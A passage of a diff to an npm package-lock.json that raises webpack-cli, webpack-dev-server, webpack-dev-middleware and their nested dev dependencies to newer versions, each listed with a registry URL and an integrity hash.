"sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true + }, + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "amdefine": "1.0.1" + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "eslint-scope": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.0.tgz", + "integrity": "sha512-1G6UTDi7Jc1ELFwnR58HV4fK9OQK4S6N985f166xqXxpjU6plxFISJa2Ba9KCQuFa8RCnj/lSFJbHo7UFDBnUA==", + "dev": true, + "requires": { + "esrecurse": "4.2.1", + "estraverse": "4.2.0" + } + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "requires": { + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "0.1.6" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" + } + }, + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true + } + } + }, + "extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "requires": { + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "requires": { + "is-descriptor": "1.0.2" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "requires": { + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" + } + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true + }, + "loader-utils": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", + "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", + "dev": true, + "requires": { + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" + } + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "requires": { + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + } + } + } + }, + "webpack-cli": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.1.0.tgz", + "integrity": "sha512-p5NeKDtYwjZozUWq6kGNs9w+Gtw/CPvyuXjXn2HMdz8Tie+krjEg8oAtonvIyITZdvpF7XG9xDHwscLr2c+ugQ==", + "dev": true, + "requires": { + "chalk": "2.4.1", + "cross-spawn": "6.0.5", + "enhanced-resolve": "4.1.0", + "global-modules-path": "2.3.0", + "import-local": "1.0.0", + "inquirer": "6.1.0", + "interpret": "1.1.0", + "loader-utils": "1.1.0", + "supports-color": "5.4.0", + "v8-compile-cache": "2.0.2", + "yargs": "12.0.1" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "1.9.0" + } + }, + "camelcase": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", + "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", + "dev": true + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" + } + }, + "chardet": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.5.0.tgz", + "integrity": "sha512-9ZTaoBaePSCFvNlNGrsyI8ZVACP2svUtq0DkM7t4K2ClAa96sqOIRjAzDTc8zXzFt1cZR46rRzLTiHFSJ+Qw0g==", + "dev": true + }, + "cliui": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-4.1.0.tgz", + "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", + "dev": true, + "requires": { + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" + } + }, + "cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "dev": true, + "requires": { + "nice-try": "1.0.4", + "path-key": "2.0.1", + "semver": "5.5.0", + "shebang-command": "1.2.0", + "which": "1.3.0" + } + }, + "decamelize": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-2.0.0.tgz", + "integrity": "sha512-Ikpp5scV3MSYxY39ymh45ZLEecsTdv/Xj2CaQfI8RLMuwi7XvjX9H/fhraiSuU+C5w5NTDu4ZU72xNiZnurBPg==", + "dev": true, + "requires": { + "xregexp": "4.0.0" + } + }, + "external-editor": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.0.1.tgz", + "integrity": "sha512-e1neqvSt5pSwQcFnYc6yfGuJD2Q4336cdbHs5VeUO0zTkqPbrHMyw2q1r47fpfLWbvIG8H8A6YO3sck7upTV6Q==", + "dev": true, + "requires": { + "chardet": "0.5.0", + "iconv-lite": "0.4.23", + "tmp": "0.0.33" + } + }, + "find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "requires": { + "locate-path": "3.0.0" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "iconv-lite": { + "version": "0.4.23", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz", + "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", + "dev": true, + "requires": { + "safer-buffer": "2.1.2" + } + }, + "inquirer": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.1.0.tgz", + "integrity": "sha512-f9K2MMx/G/AVmJSaZg2a+GVLRRmTdlGLbwxsibNd6yNTxXujqxPypjCnxnC0y4+Wb/rNY5KyKuq06AO5jrE+7w==", + "dev": true, + "requires": { + "ansi-escapes": "3.1.0", + "chalk": "2.4.1", + "cli-cursor": "2.1.0", + "cli-width": "2.2.0", + "external-editor": "3.0.1", + "figures": "2.0.0", + "lodash": "4.17.10", + "mute-stream": "0.0.7", + "run-async": "2.3.0", + "rxjs": "6.2.2", + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "through": "2.3.8" + } + }, + "loader-utils": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", + "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", + "dev": true, + "requires": { + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" + } + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "requires": { + "p-locate": "3.0.0", + "path-exists": "3.0.0" + } + }, + "p-limit": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.0.0.tgz", + "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==", + "dev": true, + "requires": { + "p-try": "2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "requires": { + "p-limit": "2.0.0" + } + }, + "p-try": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.0.0.tgz", + "integrity": "sha512-hMp0onDKIajHfIkdRk3P4CdCmErkYAxxDtP3Wx/4nZ3aGlau2VKh3mZpcuFkH27WQkL/3WBCPOktzA9ZOAnMQQ==", + "dev": true + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", + "dev": true + }, + "rxjs": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.2.2.tgz", + "integrity": "sha512-0MI8+mkKAXZUF9vMrEoPnaoHkfzBPP4IGwUYRJhIRJF6/w3uByO1e91bEHn8zd43RdkTMKiooYKmwz7RH6zfOQ==", + "dev": true, + "requires": { + "tslib": "1.9.3" + } + }, + "semver": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.0.tgz", + "integrity": "sha512-4SJ3dm0WAwWy/NVeioZh5AntkdJoWKxHxcmyP622fOkgHa4z3R0TdBJICINyaSDE6uNwVc8gZr+ZinwZAH4xIA==", + "dev": true + }, + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "requires": { + "ansi-regex": "3.0.0" + } + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "3.0.0" + } + }, + "yargs": { + "version": "12.0.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.1.tgz", + "integrity": "sha512-B0vRAp1hRX4jgIOWFtjfNjd9OA9RWYZ6tqGA9/I/IrTMsxmKvtWy+ersM+jzpQqbC3YfLzeABPdeTgcJ9eu1qQ==", + "dev": true, + "requires": { + "cliui": "4.1.0", + "decamelize": "2.0.0", + "find-up": "3.0.0", + "get-caller-file": "1.0.3", + "os-locale": "2.1.0", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "2.1.1", + "which-module": "2.0.0", + "y18n": "3.2.1", + "yargs-parser": "10.1.0" + } + }, + "yargs-parser": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-10.1.0.tgz", + "integrity": "sha512-VCIyR1wJoEBZUqk5PA+oOBF6ypbwh5aNB3I50guxAL/quggdfs4TtNHQrSazFA3fYZ+tEqfs0zIGlv0c/rgjbQ==", + "dev": true, + "requires": { + "camelcase": "4.1.0" } } } }, "webpack-dev-middleware": { - "version": "1.12.0", - "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-1.12.0.tgz", - "integrity": "sha1-007++y7dp+HTtdvgcolRMhllFwk=", + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-2.0.6.tgz", + "integrity": "sha512-tj5LLD9r4tDuRIDa5Mu9lnY2qBBehAITv6A9irqXhw/HQquZgTx3BCd57zYbU2gMDnncA49ufK2qVQSbaKJwOw==", "dev": true, "requires": { + "loud-rejection": "1.6.0", "memory-fs": "0.4.1", - "mime": "1.3.6", + "mime": "2.3.1", "path-is-absolute": "1.0.1", "range-parser": "1.2.0", - "time-stamp": "2.0.0" + "url-join": "2.0.5", + "webpack-log": "1.2.0" } }, "webpack-dev-server": { - "version": "1.16.5", - "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-1.16.5.tgz", - "integrity": "sha1-DL1fLSrI1OWTqs1clwLnu9XlmJI=", + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-3.1.5.tgz", + "integrity": "sha512-LVHg+EPwZLHIlfvokSTgtJqO/vI5CQi89fASb5JEDtVMDjY0yuIEqPPdMiKaBJIB/Ab7v/UN/sYZ7WsZvntQKw==", "dev": true, "requires": { - "compression": "1.7.0", - "connect-history-api-fallback": "1.3.0", - "express": "4.15.4", - "http-proxy-middleware": "0.17.4", - "open": "0.0.5", - "optimist": "0.6.1", - "serve-index": "1.9.0", - "sockjs": "0.3.18", - "sockjs-client": "1.1.4", - "stream-cache": "0.0.2", + "ansi-html": "0.0.7", + "array-includes": "3.0.3", + "bonjour": "3.5.0", + "chokidar": "2.0.4", + "compression": "1.7.3", + "connect-history-api-fallback": "1.5.0", + "debug": "3.1.0", + "del": "3.0.0", + "express": "4.16.3", + "html-entities": "1.2.1", + "http-proxy-middleware": "0.18.0", + "import-local": "1.0.0", + "internal-ip": "1.2.0", + "ip": "1.1.5", + "killable": "1.0.0", + "loglevel": "1.6.1", + "opn": "5.3.0", + "portfinder": "1.0.16", + "selfsigned": "1.10.3", + "serve-index": "1.9.1", + "sockjs": "0.3.19", + "sockjs-client": "1.1.5", + "spdy": "3.4.7", "strip-ansi": "3.0.1", - "supports-color": "3.2.3", - "webpack-dev-middleware": "1.12.0" + "supports-color": "5.4.0", + "webpack-dev-middleware": "3.1.3", + "webpack-log": "1.2.0", + "yargs": "11.0.0" }, "dependencies": { - "supports-color": { - "version": "3.2.3", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.2.3.tgz", - "integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=", + "ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true + }, + "anymatch": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", + "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", "dev": true, "requires": { - "has-flag": "1.0.0" + "micromatch": "3.1.10", + "normalize-path": "2.1.1" + } + }, + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true + }, + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "requires": { + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "chokidar": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz", + "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", + "dev": true, + "requires": { + "anymatch": "2.0.0", + "async-each": "1.0.1", + "braces": "2.3.2", + "fsevents": "1.2.4", + "glob-parent": "3.1.0", + "inherits": "2.0.3", + "is-binary-path": "1.0.1", + "is-glob": "4.0.0", + "lodash.debounce": "4.0.8", + "normalize-path": "2.1.1", + "path-is-absolute": "1.0.1", + "readdirp": "2.1.0", + "upath": "1.1.0" + } + }, + "cliui": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-4.1.0.tgz", + "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", + "dev": true, + "requires": { + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" + }, + "dependencies": { + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "requires": { + "ansi-regex": "3.0.0" + } + } + } + }, + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "del": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/del/-/del-3.0.0.tgz", + "integrity": "sha1-U+z2mf/LyzljdpGrE7rxYIGXZuU=", + "dev": true, + "requires": { + "globby": "6.1.0", + "is-path-cwd": "1.0.0", + "is-path-in-cwd": "1.0.1", + "p-map": "1.2.0", + "pify": "3.0.0", + "rimraf": "2.6.2" + } + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "requires": { + "debug": "2.6.9", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "0.1.6" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" + } + }, + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true + } + } + }, + "extglob": { + "version": "2.0.4", + "resolved": 